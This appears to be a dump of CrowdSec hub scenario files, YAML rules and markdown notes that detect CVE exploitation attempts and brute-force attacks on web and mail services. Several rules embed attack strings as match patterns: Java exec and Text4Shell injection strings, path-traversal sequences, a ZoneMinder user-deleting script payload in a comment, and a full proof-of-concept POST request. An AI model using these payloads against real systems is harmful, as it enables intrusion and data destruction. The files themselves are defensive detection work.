hub1/scenarios/baudneo/zoneminder_cve-2022-39285.yaml000066400000000000000000000015361437532772500223120ustar00rootroot00000000000000type: trigger format: 2.0 #debug: true # file=http%3A%2F%2F10.0.10.107%2Fzm%2F</td></tr><script src='/zm/?view=options%26tab=users%26action=delete%26markUids%5B%5D=6%26deleteBtn=Delete'</script>&line=70 name: baudneo/zoneminder_cve-2022-39285 description: "Detect cve-2022-39285 exploitation attempts" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and ( ( Upper(evt.Meta.http_verb) == "POST" and Upper(evt.Meta.http_path) matches Upper('^(?P/.*index.php)?.*(?Pfile=.*</td></tr(?P.*)>)') ) or Upper(evt.Parsed.rawrequest) matches Upper('^(?PPOST) (?P/.*index.php)?.*(?Pfile=.*</td></tr(?P.*)>)') ) groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/baudneo/zoneminder_cve-2022-39290.yaml000066400000000000000000000007471437532772500223110ustar00rootroot00000000000000type: trigger format: 2.0 #debug: true #/zm/index.php?view=options&tab=users&action=delete&markUids%5B%5D=13&deleteBtn=Delete name: baudneo/zoneminder_cve-2022-39290 description: "Detect cve-2022-39290 exploitation attempts" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and Upper(evt.Meta.http_verb) == "GET" and Upper(evt.Meta.http_path) matches Upper('.*action=.*') groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/baudneo/zoneminder_cve-2022-39291.md000066400000000000000000000024731437532772500217460ustar00rootroot00000000000000Scenario to detect exploitation attempts of [CVE-2022-39291](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-cfcx-v52x-jh74). Basically rate limit adding (POST) log entries using index.php. #### This is for ZM versions __BEFORE__ 1.36.27, 1.37.24 ``` POST /zm/index.php HTTP/1.1 Host: 10.0.10.107 Content-Length: 256 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://10.0.10.107 Referer: http://10.0.10.107/zm/? Content-Security-Policy: default-src 'self' data: *; connect-src 'self'; script-src 'self'; Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: zmSkin=classic; zmCSS=base; zmBandwidth=high; ZMSESSID=8o8h3mg4nv7pmmsu4tm13r1v4d Connection: close __csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&view=request&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800 ``` :warning: Crowdsec is not a WAF and, as such, bypass to those signatures are likely :warning: hub1/scenarios/baudneo/zoneminder_cve-2022-39291.yaml000066400000000000000000000023351437532772500223050ustar00rootroot00000000000000type: leaky format: 2.0 #debug: true # __csrf_magic=key%3A85866fbcb6a1d7325544a55aa63fb534677f34ca%2C1665102411&request=log&task=create&level=ERR&message=Trenches%20of%20IT%20PoC&browser%5Bname%5D=Chrome&browser%5Bversion%5D=101.0.4951.41&browser%5Bplatform%5D=Windows&file=line=800&view=request HTTP/1.1 name: baudneo/zoneminder_cve-2022-39291 description: "Detect cve-2022-39291 exploitation attempts" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and ( ( Upper(evt.Meta.http_verb) == "POST" and Upper(evt.Meta.http_path) matches Upper('^(?P/.*index.php)?.*(?Pview=request|request=log|task=create)+.*(?Pview=request|request=log|task=create)+.*(?Pview=request|request=log|task=create)+.*') ) or Upper(evt.Parsed.rawrequest) matches Upper('^(?PPOST) (?P/.*index.php)?.*(?Pview=request|request=log|task=create)+.*(?Pview=request|request=log|task=create)+.*(?Pview=request|request=log|task=create)+.*') ) groupby: "evt.Meta.source_ip" capacity: 10 leakspeed: "10s" blackhole: 2m labels: service: zoneminder type: exploit remediation: true hub1/scenarios/crowdsecurity/000077500000000000000000000000001437532772500166305ustar00rootroot00000000000000hub1/scenarios/crowdsecurity/CVE-2021-4034.md000066400000000000000000000002451437532772500205420ustar00rootroot00000000000000## CVE-2021-4034 Detects exploit of CVE-2021-4034 `pkexec` vulnerability. :warning: Smart attackers can exploit this vulnerability without leaving traces in logs hub1/scenarios/crowdsecurity/CVE-2021-4034.yaml000066400000000000000000000004371437532772500211070ustar00rootroot00000000000000type: trigger #debug: true name: crowdsecurity/CVE-2021-4034 description: "Detect CVE-2021-4034 exploits" filter: evt.Meta.log_type == 'CVE-2021-4034-xpl' groupby: evt.Meta.target_user blackhole: 1m labels: type: privesc scope: type: system_account expression: evt.Meta.target_user hub1/scenarios/crowdsecurity/CVE-2022-26134.md000066400000000000000000000002371437532772500206310ustar00rootroot00000000000000## CVE-2022-26134 Detects attempts of exploit of CVE-2022-26134 RCE vulnerability. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134 hub1/scenarios/crowdsecurity/CVE-2022-26134.yaml000066400000000000000000000004561437532772500211760ustar00rootroot00000000000000type: trigger #debug: true name: crowdsecurity/CVE-2022-26134 description: "Detect CVE-2022-26134 exploits" filter: "Upper(PathUnescape(evt.Meta.http_path)) contains Upper('@java.lang.Runtime@getRuntime().exec(')" blackhole: 1m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/CVE-2022-35914.md000066400000000000000000000002561437532772500206400ustar00rootroot00000000000000## CVE-2022-35914 Detects attempts of exploit of CVE-2022-35914 RCE vulnerability. Reference: https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr hub1/scenarios/crowdsecurity/CVE-2022-35914.yaml000066400000000000000000000004451437532772500212020ustar00rootroot00000000000000type: trigger #debug: true name: crowdsecurity/CVE-2022-35914 description: "Detect CVE-2022-35914 exploits" filter: "Upper(evt.Meta.http_path) contains Upper('/vendor/htmlawed/htmlawed/htmLawedTest.php')" blackhole: 1m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/CVE-2022-37042.md000066400000000000000000000001241437532772500206240ustar00rootroot00000000000000## CVE-2022-37042 Detects attempts of exploit of CVE-2022-37042 RCE vulnerability. hub1/scenarios/crowdsecurity/CVE-2022-37042.yaml000066400000000000000000000010751437532772500211740ustar00rootroot00000000000000type: trigger #debug: true name: crowdsecurity/CVE-2022-37042 description: "Detect CVE-2022-37042 exploits" filter: | ( Upper(evt.Meta.http_path) contains Upper('/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1') || Upper(evt.Meta.http_path) contains Upper('/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd') ) and evt.Meta.http_status startsWith ('40') and Upper(evt.Meta.http_verb) == 'POST' blackhole: 2m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/CVE-2022-40684.md000066400000000000000000000001751437532772500206400ustar00rootroot00000000000000## CVE-2022-40684 Detects FortiOs, FortiProxy, and FortiSwitchManager authentication bypass (CVE-2022-40684) vulnerability. hub1/scenarios/crowdsecurity/CVE-2022-40684.yaml000066400000000000000000000006341437532772500212020ustar00rootroot00000000000000type: trigger name: crowdsecurity/fortinet-cve-2022-40684 description: "Detect cve-2022-40684 exploitation attempts" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and Upper(evt.Meta.http_path) startsWith Upper('/api/v2/cmdb/system/admin/') and Lower(evt.Parsed.http_user_agent) == 'report runner' groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: truehub1/scenarios/crowdsecurity/CVE-2022-41082.yaml000066400000000000000000000005371437532772500211750ustar00rootroot00000000000000type: trigger #debug: true name: crowdsecurity/CVE-2022-41082 description: "Detect CVE-2022-41082 exploits" filter: | Upper(evt.Meta.http_path) contains Upper('/autodiscover/autodiscover.json') && Upper(evt.Parsed.http_args) contains Upper('powershell') blackhole: 1m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/CVE-2022-41697.md000066400000000000000000000003411437532772500206400ustar00rootroot00000000000000## CVE-2022-41697 Ghost user enumeration vulnerablity #### References [CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41697)
[talos](https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1625)hub1/scenarios/crowdsecurity/CVE-2022-41697.yaml000066400000000000000000000005641437532772500212110ustar00rootroot00000000000000type: leaky name: crowdsecurity/CVE-2022-41697 description: "Detect CVE-2022-41697 enumeration" filter: | Upper(evt.Meta.http_path) contains Upper('/ghost/api/admin/session') && Upper(evt.Parsed.verb) == 'POST' && evt.Meta.http_status == '404' leakspeed: "10s" capacity: 5 blackhole: 1m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: truehub1/scenarios/crowdsecurity/CVE-2022-42889.md000066400000000000000000000002541437532772500206470ustar00rootroot00000000000000## CVE-2022-42889 Detects attempts of exploit of CVE-2022-42889 (Text4Shell) RCE vulnerability. Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-42889 hub1/scenarios/crowdsecurity/CVE-2022-42889.yaml000066400000000000000000000011421437532772500212060ustar00rootroot00000000000000type: trigger #debug: true name: crowdsecurity/CVE-2022-42889 description: "Detect CVE-2022-42889 exploits (Text4Shell)" filter: | Upper(PathUnescape(evt.Meta.http_path)) contains Upper('${script:javascript:java.lang.Runtime.getRuntime().exec(') or Upper(PathUnescape(evt.Meta.http_path)) contains Upper('${script:js:java.lang.Runtime.getRuntime().exec(') or Upper(PathUnescape(evt.Meta.http_path)) contains Upper('${url:UTF-8:') or Upper(PathUnescape(evt.Meta.http_path)) contains Upper('${dns:address|') blackhole: 1m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/CVE-2022-44877.md000066400000000000000000000002541437532772500206460ustar00rootroot00000000000000## CVE-2022-44877 Trigger exploits of CVE-2022-44877 Centos Web Panel 7 Unauthenticated Remote Code Execution Reference: https://nvd.nist.gov/vuln/detail/CVE-2022-44877 hub1/scenarios/crowdsecurity/CVE-2022-44877.yaml000066400000000000000000000006411437532772500212100ustar00rootroot00000000000000type: trigger #debug: true name: crowdsecurity/CVE-2022-44877 description: "Detect CVE-2022-44877 exploits" filter: | Lower(evt.Meta.http_path) contains '/index.php' && Upper(evt.Parsed.verb) == 'POST' && evt.Meta.http_status == '302' && Lower(evt.Parsed.http_args) matches 'login=.*[$|%24][\\(|%28].*[\\)|%29]' blackhole: 1m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/CVE-2022-46169.md000066400000000000000000000006471437532772500206500ustar00rootroot00000000000000## CVE-2022-46169 Cacti is an open source platform which provides a robust and extensible operational monitoring and fault management framework for users. In affected versions a command injection vulnerability allows an unauthenticated user to execute arbitrary code on a server running Cacti, if a specific data source was selected for any monitored device. [Read More](https://nvd.nist.gov/vuln/detail/CVE-2022-46169) hub1/scenarios/crowdsecurity/CVE-2022-46169.yaml000066400000000000000000000015651437532772500212120ustar00rootroot00000000000000type: leaky name: crowdsecurity/CVE-2022-46169-bf description: "Detect CVE-2022-46169 brute forcing" filter: | Upper(evt.Meta.http_path) contains Upper('/remote_agent.php') && Upper(evt.Parsed.verb) == 'GET' && Lower(evt.Parsed.http_args) contains 'host_id' && Lower(evt.Parsed.http_args) contains 'local_data_ids' leakspeed: "10s" capacity: 5 blackhole: 1m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: true --- type: trigger name: crowdsecurity/CVE-2022-46169-cmd description: "Detect CVE-2022-46169 cmd injection" filter: | Upper(evt.Meta.http_path) contains Upper('/remote_agent.php') && Upper(evt.Parsed.verb) == 'GET' && Lower(evt.Parsed.http_args) contains 'action=polldata' && Lower(evt.Parsed.http_args) matches 'poller_id=.*(;|%3b)' blackhole: 1m groupby: "evt.Meta.source_ip" labels: type: exploit remediation: truehub1/scenarios/crowdsecurity/apache_log4j2_cve-2021-44228.md000066400000000000000000000002501437532772500234510ustar00rootroot00000000000000Scenario to detect exploitation attempts of "log4j" CVE-2021-44228. :warning: Crowdsec is not a WAF and, as such, bypass to those signatures are likely :warning: hub1/scenarios/crowdsecurity/apache_log4j2_cve-2021-44228.yaml000066400000000000000000000014271437532772500240220ustar00rootroot00000000000000type: trigger format: 2.0 #debug: true name: crowdsecurity/apache_log4j2_cve-2021-44228 description: "Detect cve-2021-44228 exploitation attemps" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and ( any(File("log4j2_cve_2021_44228.txt"), { Upper(evt.Meta.http_path) contains Upper(#)}) or any(File("log4j2_cve_2021_44228.txt"), { Upper(evt.Parsed.http_user_agent) contains Upper(#)}) or any(File("log4j2_cve_2021_44228.txt"), { Upper(evt.Parsed.http_referer) contains Upper(#)}) ) data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/log4j2_cve_2021_44228.txt dest_file: log4j2_cve_2021_44228.txt type: string groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/asterisk_bf.yaml000066400000000000000000000004261437532772500220120ustar00rootroot00000000000000type: leaky name: crowdsecurity/asterisk_bf description: "Detect asterisk user bruteforce" filter: evt.Meta.log_type == 'asterisk_failed_auth' groupby: evt.Meta.source_ip leakspeed: 10s capacity: 5 blackhole: 1m labels: service: asterisk type: bruteforce remediation: truehub1/scenarios/crowdsecurity/asterisk_user_enum.yaml000066400000000000000000000005011437532772500234170ustar00rootroot00000000000000type: leaky name: crowdsecurity/asterisk_user_enum description: "Detect asterisk user enum bruteforce" filter: evt.Meta.log_type == 'asterisk_failed_auth' groupby: evt.Meta.source_ip distinct: evt.Meta.target_user leakspeed: 10s capacity: 5 blackhole: 1m labels: service: asterisk type: bruteforce remediation: truehub1/scenarios/crowdsecurity/ban-defcon-drop_range.md000066400000000000000000000001431437532772500232620ustar00rootroot00000000000000Bans a range if more than 5 ips from said range are banned. Leakspeed of 1 minute, capacity of 5. hub1/scenarios/crowdsecurity/ban-defcon-drop_range.yaml000066400000000000000000000010441437532772500236250ustar00rootroot00000000000000#TAP IT TWICE : if more than 5 unique IPs of a range are being banned, drop the range type: leaky #debug: true name: crowdsecurity/ban-defcon-drop_range description: "Ban a range if more than 5 ips from it are banned at a time" #it's an overflow from a scenario that triggered a remediation ;) filter: "evt.GetType() == 'overflow' && evt.Overflow.Alert.Remediation == true" groupby: "evt.Overflow.Alert.Source.Range" distinct: "evt.Overflow.Alert.Source.IP" capacity: 5 leakspeed: "1m" blackhole: 5m labels: remediation: true scope: type: Range hub1/scenarios/crowdsecurity/cpanel-bf-attempt.md000066400000000000000000000002121437532772500224500ustar00rootroot00000000000000Trigger alerts when this line is matched: ```bash FAILED LOGIN cpaneld: brute force attempt (user cscpanel) has locked out IP 1.2.3.4 ```hub1/scenarios/crowdsecurity/cpanel-bf-attempt.yaml000066400000000000000000000004121437532772500230140ustar00rootroot00000000000000type: trigger name: crowdsecurity/cpanel-bf-attempt description: "Detect bruteforce attempt on cpanel login" filter: "evt.Meta.log_type == 'auth_bf_attempt'" groupby: evt.Meta.source_ip blackhole: 5m labels: service: cpanel type: bruteforce remediation: true hub1/scenarios/crowdsecurity/cpanel-bf.md000066400000000000000000000000551437532772500210010ustar00rootroot00000000000000Detects bruteforce attempts in cpanel login. hub1/scenarios/crowdsecurity/cpanel-bf.yaml000066400000000000000000000004171437532772500213450ustar00rootroot00000000000000type: leaky name: crowdsecurity/cpanel-bf capacity: 5 leakspeed: 10s description: "Detect bruteforce on cpanel login" filter: "evt.Meta.log_type == 'auth_bf_log'" groupby: evt.Meta.source_ip blackhole: 5m labels: service: cpanel type: bruteforce remediation: true hub1/scenarios/crowdsecurity/dovecot-spam.md000066400000000000000000000002661437532772500215570ustar00rootroot00000000000000Spam detection for dovecot (capacity of 3 and leakspeed of 360s) - allows fail authentication attempt every 6 minutes with a burst of 3 > Contribution by https://github.com/LtSich hub1/scenarios/crowdsecurity/dovecot-spam.yaml000066400000000000000000000005121437532772500221130ustar00rootroot00000000000000#contribution by @ltsich type: leaky name: crowdsecurity/dovecot-spam description: "detect errors on dovecot" debug: false filter: "evt.Meta.log_type == 'dovecot_logs' && evt.Meta.dovecot_login_result == 'auth_failed'" groupby: evt.Meta.source_ip capacity: 3 leakspeed: "360s" blackhole: 5m labels: type: scan remediation: true hub1/scenarios/crowdsecurity/endlessh-bf.yaml000066400000000000000000000005711437532772500217110ustar00rootroot00000000000000# endlessh bruteforce type: leaky name: crowdsecurity/endlessh-bf description: "Detect SSH bruteforce caught by Endlessh" filter: "evt.Meta.log_type == 'endlessh_accept'" leakspeed: "5m" references: - http://wikipedia.com/ssh-bf-is-bad capacity: 5 groupby: evt.Meta.source_ip blackhole: 120m reprocess: true labels: service: endlessh type: bruteforce remediation: true hub1/scenarios/crowdsecurity/exchange-bf.md000066400000000000000000000000001437532772500213070ustar00rootroot00000000000000hub1/scenarios/crowdsecurity/exchange-bf.yaml000066400000000000000000000004721437532772500216660ustar00rootroot00000000000000type: leaky name: crowdsecurity/exchange-bf description: "Detect exchange bruteforce (SMTP,IMAP,POP3)" filter: evt.Meta.service == 'exchange' && evt.Meta.sub_type == 'auth_fail' groupby: evt.Meta.source_ip leakspeed: 10s capacity: 5 blackhole: 1m labels: service: exchange type: bruteforce remediation: true hub1/scenarios/crowdsecurity/exim-bf.md000066400000000000000000000002151437532772500204770ustar00rootroot00000000000000Detect bruteforce on Exim mail server. - leakspeed of 10s, capacity of 5 on same ip - leakspeed of 10s, capacity of 5 on same target user hub1/scenarios/crowdsecurity/exim-bf.yaml000066400000000000000000000011011437532772500210340ustar00rootroot00000000000000type: leaky #debug: true name: crowdsecurity/exim-bf description: "Detect Exim brute force" filter: "evt.Meta.log_type == 'exim_failed_auth'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: "10s" blackhole: 1m labels: service: exim type: bf remediation: true --- type: leaky #debug: true name: crowdsecurity/exim-user-bf description: "Detect Exim user email brute force" filter: "evt.Meta.log_type == 'exim_failed_auth'" groupby: evt.Meta.source_ip distinct: evt.Meta.username capacity: 5 leakspeed: "10s" blackhole: 1m labels: service: exim type: bf remediation: truehub1/scenarios/crowdsecurity/exim-spam.md000066400000000000000000000001001437532772500210410ustar00rootroot00000000000000Spam detection for Exim (capacity of 3 and leakspeed of 360s) hub1/scenarios/crowdsecurity/exim-spam.yaml000066400000000000000000000004251437532772500214150ustar00rootroot00000000000000type: leaky name: crowdsecurity/exim-spam description: "detect spam on Exim" #debug: true filter: "evt.Meta.log_type == 'spam-attempt' && evt.Meta.service == 'exim'" groupby: evt.Meta.source_ip capacity: 3 leakspeed: "360s" blackhole: 5m labels: type: spam remediation: true hub1/scenarios/crowdsecurity/f5-big-ip-cve-2020-5902.yaml000066400000000000000000000010621437532772500227230ustar00rootroot00000000000000type: trigger format: 2.0 name: crowdsecurity/f5-big-ip-cve-2020-5902 description: "Detect cve-2020-5902 exploitation attemps" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and ( Upper(evt.Meta.http_path) matches Upper('/tmui/login.jsp/..;/tmui/[^.]+.jsp\\?(fileName|command|directoryPath|tabId)=') or Upper(evt.Meta.http_path) matches Upper('/tmui/login.jsp/%2E%2E;/tmui/[^.]+.jsp\\?(fileName|command|directoryPath|tabId)=') ) groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/fortinet-cve-2018-13379.yaml000066400000000000000000000006331437532772500231770ustar00rootroot00000000000000type: trigger format: 2.0 name: crowdsecurity/fortinet-cve-2018-13379 description: "Detect cve-2018-13379 exploitation attemps" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and Upper(evt.Meta.http_path) contains Upper('/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession') groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/grafana-cve-2021-43798.md000066400000000000000000000000461437532772500224020ustar00rootroot00000000000000Detect exploitation of CVE-2021-43798 hub1/scenarios/crowdsecurity/grafana-cve-2021-43798.yaml000066400000000000000000000007021437532772500227430ustar00rootroot00000000000000type: trigger format: 2.0 name: crowdsecurity/grafana-cve-2021-43798 description: "Detect cve-2021-43798 exploitation attemps" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and (Upper(evt.Meta.http_path) matches '/PUBLIC/PLUGINS/[^/]+/../[./]+/' or Upper(evt.Meta.http_path) matches '/PUBLIC/PLUGINS/[^/]+/%2E%2E/[%2E/]+/') groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: exploit remediation: true hub1/scenarios/crowdsecurity/home-assistant-bf.md000066400000000000000000000001271437532772500224760ustar00rootroot00000000000000Detect several failed Home assistant authentications. leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/home-assistant-bf.yaml000066400000000000000000000005211437532772500230360ustar00rootroot00000000000000# home-assistant bruteforce type: leaky #debug: true name: crowdsecurity/home-assistant-bf description: "Detect Home Assistant bruteforce" filter: evt.Meta.log_type == 'home-assistant_failed_auth' leakspeed: "10s" capacity: 5 groupby: evt.Meta.source_ip blackhole: 5m labels: service: home-assistant type: bruteforce remediation: truehub1/scenarios/crowdsecurity/http-apiscp-bf.md000066400000000000000000000001301437532772500217650ustar00rootroot00000000000000Detects bruteforce on apisCP login page '/apps/login'. leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/http-apiscp-bf.yaml000066400000000000000000000006621437532772500223410ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-apiscp-bf description: "detect apisCP dashboard bruteforce" debug: false # success auth on apisCP returns 303 filter: "evt.Meta.log_type == 'http_access-log' && evt.Meta.http_path startsWith '/apps/login' && evt.Parsed.verb == 'POST' && evt.Meta.http_status == '200'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: 10s blackhole: 5m labels: service: http type: bruteforce remediation: true hub1/scenarios/crowdsecurity/http-backdoors-attempts.md000066400000000000000000000011451437532772500237360ustar00rootroot00000000000000Detect attempts to access common backdoors such as c99.php ... ## Configuration This scenario will be trigger if an attacker requests a minimum of two differents file of [the list](https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/backdoors.txt)/ Configuration: `distinct` : `evt.Parsed.request` (HTTP request URI) `leakspeed` : 5 secondes `group_by` : `evt.Meta.source_ip` ### Data This scenario use the [following list backdoors.txt](https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/backdoors.txt) from [danielmiessler](https://github.com/danielmiessler/SecLists)hub1/scenarios/crowdsecurity/http-backdoors-attempts.yaml000066400000000000000000000010631437532772500242770ustar00rootroot00000000000000type: leaky #debug: true name: crowdsecurity/http-backdoors-attempts description: "Detect attempt to common backdoors" filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] and any(File("backdoors.txt"), { evt.Parsed.file_name == #})' groupby: "evt.Meta.source_ip" distinct: evt.Parsed.file_name data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/backdoors.txt dest_file: backdoors.txt type: string capacity: 1 leakspeed: 5s blackhole: 5m labels: service: http type: discovery remediation: true hub1/scenarios/crowdsecurity/http-bad-user-agent.md000066400000000000000000000001261437532772500227240ustar00rootroot00000000000000# Known bad user-agents Detect known bad user-agents. Bans after two requests. hub1/scenarios/crowdsecurity/http-bad-user-agent.yaml000066400000000000000000000010371437532772500232700ustar00rootroot00000000000000type: leaky format: 2.0 #debug: true name: crowdsecurity/http-bad-user-agent description: "Detect bad user-agents" filter: 'evt.Meta.log_type in ["http_access-log", "http_error-log"] && RegexpInFile(evt.Parsed.http_user_agent, "bad_user_agents.regex.txt")' data: - source_url: https://raw.githubusercontent.com/crowdsecurity/sec-lists/master/web/bad_user_agents.regex.txt dest_file: bad_user_agents.regex.txt type: regexp capacity: 1 leakspeed: 1m groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: scan remediation: true hub1/scenarios/crowdsecurity/http-bf-wordpress_bf.md000066400000000000000000000001351437532772500232120ustar00rootroot00000000000000Detects bruteforce on wordpress login page 'wp-login.php'. leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/http-bf-wordpress_bf.yaml000066400000000000000000000006611437532772500235600ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-bf-wordpress_bf description: "detect wordpress bruteforce" debug: false # failed auth on wp-login.php returns 200 filter: "evt.Meta.log_type == 'http_access-log' && evt.Parsed.file_name == 'wp-login.php' && evt.Parsed.verb == 'POST' && evt.Meta.http_status == '200'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: 10s blackhole: 5m labels: service: http type: bruteforce remediation: true hub1/scenarios/crowdsecurity/http-bf-wordpress_bf_xmlrpc.md000066400000000000000000000004241437532772500246000ustar00rootroot00000000000000Detects bruteforce on wordpress API 'xmlrpc.php'. **Warning**: Some plugin heavily rely on the xmlrpc, by enabling this scenario you could block your own server. Be sure to check the source of the calls on the XMLRPC API before enabling this. leakspeed of 2m, capacity of 5 hub1/scenarios/crowdsecurity/http-bf-wordpress_bf_xmlrpc.yaml000066400000000000000000000006201437532772500251400ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-bf-wordpress_bf_xmlrpc description: "detect wordpress bruteforce on xmlrpc" debug: false # XMLRPC always returns 200 filter: "evt.Meta.log_type == 'http_access-log' && evt.Parsed.file_name == 'xmlrpc.php' && evt.Parsed.verb == 'POST'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: 2m blackhole: 5m labels: service: http type: bruteforce remediation: true hub1/scenarios/crowdsecurity/http-crawl-non_statics.md000066400000000000000000000001751437532772500235640ustar00rootroot00000000000000Detect crawl (http GET/HEAD) on non-static (jpg,css,js,etc.) http pages from a single ip. Leakspeed of 0.5s, capacity of 40 hub1/scenarios/crowdsecurity/http-crawl-non_statics.yaml000066400000000000000000000010521437532772500241210ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-crawl-non_statics description: "Detect aggressive crawl from single ip" filter: "evt.Meta.log_type in ['http_access-log', 'http_error-log'] && evt.Parsed.static_ressource == 'false' && evt.Parsed.verb in ['GET', 'HEAD']" distinct: "evt.Parsed.file_name" leakspeed: 0.5s capacity: 40 #debug: true #this limits the memory cache (and event_sequences in output) to five events cache_size: 5 groupby: "evt.Meta.source_ip + '/' + evt.Parsed.target_fqdn" blackhole: 1m labels: service: http type: crawl remediation: true hub1/scenarios/crowdsecurity/http-cve-2021-41773.yaml000066400000000000000000000006071437532772500223160ustar00rootroot00000000000000type: trigger format: 2.0 #debug: true name: crowdsecurity/http-cve-2021-41773 description: "cve-2021-41773" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and (Upper(evt.Meta.http_path) contains "/.%2E/.%2E/" or Upper(evt.Meta.http_path) contains "/%2E%2E/%2E%2E") groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: scan remediation: true hub1/scenarios/crowdsecurity/http-cve-2021-42013.yaml000066400000000000000000000006161437532772500223020ustar00rootroot00000000000000type: trigger format: 2.0 #debug: true #this is getting funny, it's the third patch on top of cve-2021-41773 name: crowdsecurity/http-cve-2021-42013 description: "cve-2021-42013" filter: | evt.Meta.log_type in ["http_access-log", "http_error-log"] and Upper(evt.Meta.http_path) contains "/%%32%65%%32%65/" groupby: "evt.Meta.source_ip" blackhole: 2m labels: type: scan remediation: true hub1/scenarios/crowdsecurity/http-generic-bf.md000066400000000000000000000001411437532772500221240ustar00rootroot00000000000000Alert when a single IP that try to bruteforce http basic auth. Leakspeed of 10s, capacity of 5. hub1/scenarios/crowdsecurity/http-generic-bf.yaml000066400000000000000000000021711437532772500224730ustar00rootroot00000000000000# 404 scan type: leaky #debug: true name: crowdsecurity/http-generic-bf description: "Detect generic http brute force" filter: "evt.Meta.service == 'http' && evt.Meta.sub_type == 'auth_fail'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: "10s" blackhole: 1m labels: service: http type: bf remediation: true --- # Generic 401 Authorization Errors type: leaky #debug: true name: LePresidente/http-generic-401-bf description: "Detect generic 401 Authorization error brute force" filter: "evt.Meta.log_type == 'http_access-log' && evt.Parsed.verb == 'POST' && evt.Meta.http_status == '401'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: "10s" blackhole: 1m labels: service: http type: bf remediation: true --- # Generic 403 Forbidden (Authorization) Errors type: leaky #debug: true name: LePresidente/http-generic-403-bf description: "Detect generic 403 Forbidden (Authorization) error brute force" filter: "evt.Meta.log_type == 'http_access-log' && evt.Parsed.verb == 'POST' && evt.Meta.http_status == '403'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: "10s" blackhole: 1m labels: service: http type: bf remediation: true hub1/scenarios/crowdsecurity/http-magento-bf.md000066400000000000000000000001141437532772500221420ustar00rootroot00000000000000Detects bruteforce on Magento Admin page. leakspeed of 10s, capacity of 5 hub1/scenarios/crowdsecurity/http-magento-bf.yaml000066400000000000000000000004611437532772500225110ustar00rootroot00000000000000type: leaky name: crowdsecurity/http-magento-bf debug: false description: "detect Magento bruteforce" filter: "evt.Meta.log_type == 'ADMIN_LOGIN_FAILED'" groupby: evt.Meta.source_ip capacity: 5 leakspeed: 10s blackhole: 5m labels: service: http type: bruteforce remediation: true application: magento hub1/scenarios/crowdsecurity/http-magento-ccs-by-as.md000066400000000000000000000002451437532772500233410ustar00rootroot00000000000000Detects distributed credit card stuffing by AS on Magento website. More than 10 payments failed in the same AS in less than 30secondes will trigger this scenario. 